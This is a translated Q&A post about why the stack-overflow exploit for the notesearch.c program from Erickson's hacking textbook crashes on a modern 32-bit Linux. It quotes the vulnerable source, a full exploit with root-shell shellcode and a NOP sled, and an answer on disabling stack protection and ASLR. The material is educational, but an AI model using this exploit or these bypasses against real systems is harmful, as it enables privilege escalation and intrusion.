Question

我一直在阅读Jon Erickson的书＆＃34;黑客：剥削的艺术，第2版＆＃34;。

我需要澄清一下notesearch.c程序，它有一个缓冲区溢出漏洞和漏洞程序exploit_notesearch.c

notesearch.c的代码如下：

#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h"

#define FILENAME "/var/notes"

int print_notes(int, int, char *); // Note printing function.
int find_user_note(int, int); // Seek in file for a note for user.
int search_note(char *, char *); // Search for keyword function.
void fatal(char *); // Fatal error handler

int main(int argc, char *argv[]) {
    int userid, printing=1, fd; // File descriptor
    char searchstring[100];

    if(argc > 1) // If there is an arg,
        strcpy(searchstring, argv[1]); // that is the search string;
    else // otherwise,
        searchstring[0] = 0; // search string is empty.

    userid = getuid();
    fd = open(FILENAME, O_RDONLY); // Open the file for read-only access.
    if(fd == -1)
        fatal("in main() while opening file for reading");

    while(printing)
        printing = print_notes(fd, userid, searchstring);
    printf("-------[ end of note data ]-------\n");
    close(fd);
}

// A function to print the notes for a given uid that match
// an optional search string;
// returns 0 at end of file, 1 if there are still more notes.
int print_notes(int fd, int uid, char *searchstring) {
    int note_length;
    char byte=0, note_buffer[100];

    note_length = find_user_note(fd, uid);
    if(note_length == -1) // If end of file reached,
        return 0; // return 0.

    read(fd, note_buffer, note_length); // Read note data.
    note_buffer[note_length] = 0; // Terminate the string.

    if(search_note(note_buffer, searchstring)) // If searchstring found,
        printf(note_buffer); // print the note.
    return 1;
}

// A function to find the next note for a given userID;
// returns -1 if the end of the file is reached;
// otherwise, it returns the length of the found note.
int find_user_note(int fd, int user_uid) {
    int note_uid=-1;
    unsigned char byte;
    int length;

    while(note_uid != user_uid) {//Loop until a note for user_uid is found.
        if(read(fd, &note_uid, 4) != 4) // Read the uid data.
            return -1; // If 4 bytes aren't read, return end of file code.
        if(read(fd, &byte, 1) != 1) // Read the newline separator.
            return -1;

        byte = length = 0;
        while(byte != '\n') { 
            if(read(fd, &byte, 1) != 1) // Read a single byte.
                return -1; // If byte isn't read, return end of file code.
            length++;
        }
    }
    lseek(fd, length * -1, SEEK_CUR); 

    printf("[DEBUG] found a %d byte note for user id %d\n", length, note_uid);
    return length;
}

// A function to search a note for a given keyword;
// returns 1 if a match is found, 0 if there is no match.
int search_note(char *note, char *keyword) {
    int i, keyword_length, match=0;

    keyword_length = strlen(keyword);
    if(keyword_length == 0) // If there is no search string,
        return 1; // always "match".

    for(i=0; i < strlen(note); i++) { // Iterate over bytes in note.
        if(note[i] == keyword[match]) // If byte matches keyword,
            match++; // get ready to check the next byte;
        else { // otherwise,
            if(note[i] == keyword[0]) // if that byte matches first keyword byte,
                match = 1; // start the match count at 1.
            else
                match = 0; // Otherwise it is zero.
        }
        if(match == keyword_length) // If there is a full match,
            return 1; // return matched.
    }
    return 0; // Return not matched.
}

exploit_notesearch.c的代码如下：

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
    "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
    "\xe1\xcd\x80";

int main(int argc, char *argv[]) {
    unsigned int i, *ptr, ret, offset=270;
    char *command, *buffer;
    command = (char *) malloc(200);
    bzero(command, 200); // Zero out the new memory.
    strcpy(command, "./notesearch \'"); // Start command buffer.
    buffer = command + strlen(command); // Set buffer at the end.
    if(argc > 1) // Set offset.
        offset = atoi(argv[1]);
    ret = (unsigned int) &i - offset; // Set return address.
    for(i=0; i < 160; i+=4) // Fill buffer with return address.
        *((unsigned int *)(buffer+i)) = ret;
    memset(buffer, 0x90, 60); // Build NOP sled.
    memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
    strcat(command, "\'");
    system(command); // Run exploit.
    free(command);
}

现在我已经理解了当来自exploit_notesearch.c可执行文件的系统函数运行时传递给notesearch.c的可执行文件的第一个参数最终会覆盖存储在notesearch.c中main的堆栈帧中的返回地址，并带有一个地址具有NOP指令的数组元素，但这是我的查询当弹出堆栈并返回地址在eip中填充并且eip中的指令将被执行时操作系统将看到eip不再指向位于文本段边界的地址（存储在eip中的地址将是包含NOP指令但不在文本段边界内的元素的地址）并退出给出分段错误。那么这是否意味着无论何时存在内存分段和这种保护，这些类型的缓冲区溢出都会变得无用？

我不明白的是，我自己正在运行Linux（Linux Mint 17）并且在Intel x86处理器上拥有32位机器。但是当我编译notesearch.c和exploit_notesearch.c并以与Jon的书中提到的相同的方式运行它时，我总是会遇到分段错误。

此外，我想借此机会感谢Jon提供了一本优秀的书籍，该书清除了我的概念，即当可执行文件加载到内存并开始执行时会发生什么。

谢谢，

罗希特夏尔

Answer 1

是的，可能就是这种情况，你可能在gcc中默认有编译时堆栈保护。

现代Linux系统通常包含并生成不具有可执行堆栈的产品可执行文件，包含堆栈canaries，并且可以在内存中重新排序堆栈上的变量，尤其是数组。您可以尝试使用-fno-stack-protector作为gcc的标志进行编译。根据您的内核，您可能还需要paxctl（但您可能没有运行PaX内核）

简而言之，不，堆栈溢出在Linux上没有用处，但一般来说它们是最不理想的错误类，与以往相反。

在现代时代利用堆栈溢出的最佳机会，假设在特定情况下甚至是可能的，通常是通过将其用于部分/有针对性的覆盖来创建“原始”（即任意相对读取或写入）比简单的线性数据损坏更强大。但是，您可能没有在人为的程序中使用此选项。这个想法是通过覆盖其他堆栈变量来破坏应用程序特定的状态/逻辑，而不是简单地覆盖已保存的CPU寄存器。在某些情况下，这可以通过变量重新排序来缓解，如上所述 - 像数组这样的高风险类型将放置在堆栈的顶部，它们将溢出到金丝雀而不是其他局部变量。

尝试在编译时禁用堆栈保护，或者如果要执行此练习，请考虑使用旧VM。 Red Hat 6.2是一个不错的目标。

由于glibc已添加到malloc / free的基本动机，您将遇到利用现代系统上的堆溢出的问题。执行教科书unlink()样式覆盖可能会导致SIGABRT，因为glibc会在取消链接块之前识别出损坏。

也许不是在这种情况下（我没有仔细阅读整个事情）但你也会有ASLR来应对。这是一个内核功能，可以通过/ proc- Google中的设置禁用“禁用ASLR Linux”

Linux中32位x86的缓冲区溢出查询

1 个答案: